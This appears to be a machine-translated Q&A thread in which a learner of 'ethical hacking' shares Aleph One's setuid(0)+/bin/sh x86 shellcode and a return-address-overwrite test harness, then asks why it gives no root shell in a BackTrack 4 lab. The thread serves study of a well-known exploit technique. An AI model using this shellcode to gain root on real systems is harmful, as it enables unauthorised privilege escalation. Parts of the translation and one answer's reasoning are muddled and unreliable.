繁体   English   中英

我有这段代码…道德黑客

[英]I have this code … Ethical Hacking

我正在关注有关道德黑客的电子书,并且到达Linux漏洞利用章,这是Aleph 1代码的代码。

//shellcode.c

char shellcode[] = //setuid(0) & Aleph1's famous shellcode, see ref.

"\x31\xc0\x31\xdb\xb0\x17\xcd\x80" //setuid(0) first

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

int main() { //main function

    int *ret; //ret pointer for manipulating saved return.

    ret = (int *)&ret + 2; //setret to point to the saved return

    //value on the stack.

    (*ret) = (int)shellcode; //change the saved return value to the

    //address of the shellcode, so it executes.

}

我给这个超级用户特权,

chmod u+s shellcode

作为超级用户,然后使用

su - normal_user

但是当我运行./shellcode我应该是root用户,但我仍然是normal_user,所以有什么帮助吗? 顺便说一句,我正在研究BT4-Final,我关闭了ASLR,并在VMWare中运行BT4 ...

如果这是一个古老的漏洞利用...应该早就解决了吗?

顺便说一句,作为个人建议:不要to脚使用该昵称,然后四处询问漏洞利用情况。

面容

shellcode可执行文件是否由root拥有? setuid位(u + s)使可执行文件以其所有者 (不一定是root)的特权运行。

好了,setuid()更改了当前正在运行的程序的用户。 您的命令行管理程序仍将在您的普通用户下运行! :)

要么,要么我不明白这个hack的目的。

认为 setuid仅在程序运行时将uid设置为0。 您可以在运行Shellcode时执行一些操作来检查UID吗?

如果我理解正确,您正在执行的代码(setuid(0))是一个系统调用,它将当前用户更改为root 问题在于,它正在更改该进程的当前用户标识,从而赋予该进程根权限。 如果运行正常,则可以使用root特权运行任何程序。

要对其进行测试,请创建具有根目录的文件或目录,确保您不能以简单用户身份将其删除,然后尝试将代码添加到可执行文件中以删除该文件。 如果代码有效,则应删除该文件。

然后,要获得root权限,请尝试从程序内部派生到新的shell。 不过,我不确定是否可行。

... 但是 ,这是一个古老的漏洞。 可能对此开放了旧的内核,但是使用任何最新发行版都将无济于事。

更新:我刚刚重新阅读了代码,并意识到对shell的调用在那里(/ bin / sh),所以您已经在使用所谓的超级用户shell。 要检查它是否确实有效,请在调用之前和之后查看外壳的PID。 如果已更改,请退出外壳程序,应返回到先前的PID。 这意味着(1)它起作用了,您在其中操作了堆栈并执行了该代码,并且(2)漏洞已修复,内核正在阻止您获得访问权限。

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM